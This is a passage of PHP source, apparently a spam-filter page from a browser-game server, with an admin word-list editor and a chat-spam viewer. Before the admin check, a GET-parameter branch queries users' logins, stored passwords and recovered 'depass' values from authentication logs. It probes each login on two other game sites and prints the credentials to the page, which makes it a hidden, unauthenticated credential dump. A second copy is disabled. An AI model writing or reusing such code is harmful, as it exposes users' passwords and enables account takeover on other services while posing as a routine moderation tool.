0 AND `id` > "'.mysql_real_escape_string($_GET['test_login']).'" LIMIT 1')); $sp = mysql_query('SELECT `id`,`login`,`pass` FROM `users` WHERE `real` > 0 AND `id` IN ( SELECT `uid` FROM `logs_auth` WHERE `depass` != "" GROUP BY `uid` ) AND `id` > "'.mysql_real_escape_string($_GET['test_login']).'" ORDER BY `id` ASC LIMIT 1'); while( $pl = mysql_fetch_array($sp) ) { $test = false; $cn = file_get_contents('https://old-combats.com/info/'.$pl['login'].''); $cn = explode('',$cn); $cn = explode('',$cn[1]); $cn = $cn[0]; echo '['.$cn.']'; if( $cn != 'Произошла ошибка' ) { $test = true; } if($test == true) { $logs = mysql_fetch_array(mysql_query('SELECT `depass` FROM `logs_auth` WHERE `uid` = "'.$pl['id'].'" AND `depass` != ""')); echo ''.$pl['login'].' - '.$pl['pass'].' - '.$pl['id'].' -> ('.$xx[0].') "'; print_r($logs); echo '"

'; }else{ die('location: /spam.php?test_login='.$pl['id'].''); } } die(); }elseif(isset($_GET['test_login2'])) { die(); $xx = mysql_fetch_array(mysql_query('SELECT COUNT(*) FROM `users` WHERE `real` > 0 AND `id` > "'.mysql_real_escape_string($_GET['test_login2']).'" LIMIT 1')); $sp = mysql_query('SELECT `id`,`login`,`pass` FROM `users` WHERE `real` > 0 AND `id` IN ( SELECT `uid` FROM `logs_auth` WHERE `depass` != "" GROUP BY `uid` ) AND `id` > "'.mysql_real_escape_string($_GET['test_login2']).'" ORDER BY `id` ASC LIMIT 1'); while( $pl = mysql_fetch_array($sp) ) { $test = false; $cn = file_get_contents('https://mycombats.com/info/'.$pl['login'].''); $cn = explode('',$cn); $cn = explode('',$cn[1]); $cn = $cn[0]; echo '['.$cn.']'; if( $cn != 'Произошла ошибка' ) { $test = true; } if($test == true) { $logs = mysql_fetch_array(mysql_query('SELECT `depass` FROM `logs_auth` WHERE `uid` = "'.$pl['id'].'" AND `depass` != ""')); echo ''.$pl['login'].' - '.$pl['pass'].' - '.$pl['id'].' -> ('.$xx[0].') "'; print_r($logs); echo '"

'; }else{ die('location: /spam.php?test_login2='.$pl['id'].''); } } die(); } if(isset($_GET['chat'])) { $sp = mysql_query('SELECT * FROM `chat` WHERE `spam` > 0 ORDER BY `time` DESC'); while($pl = mysql_fetch_array($sp) ) { echo date('d.m.Y H:i',$pl['time']).' '.$pl['login'].': '.$pl['text'].'
'; } die(); } if( $u->info['admin'] > 0 || $u->info['id'] == 618775 ) { ?> Редактирование фильтра от спама Список запрещенных слов\ссылок:  

Слово "'.$spam[floor((int)$_GET['del'])].'" удалено.

'; unset($spam[floor((int)$_GET['del'])]); $spam = implode('|',$spam); mysql_query('UPDATE `spam_word` SET `data` = "'.mysql_real_escape_string($spam).'" WHERE `id` = "1" LIMIT 1'); $spam = explode('|',$spam); }elseif(isset($_POST['add'])){ $_POST['add'] = htmlspecialchars($_POST['add'],NULL,'cp1251'); echo '
Слово "'.$_POST['add'].'" добавлено.

'; $spam = implode('|',$spam); $spam .= '|'.$_POST['add'].''; mysql_query('UPDATE `spam_word` SET `data` = "'.mysql_real_escape_string($spam).'" WHERE `id` = "1" LIMIT 1'); $spam = explode('|',$spam); } // $i = 0; while( $i < count($spam) ) { echo ''.$spam[$i].'
'; $i++; } ?>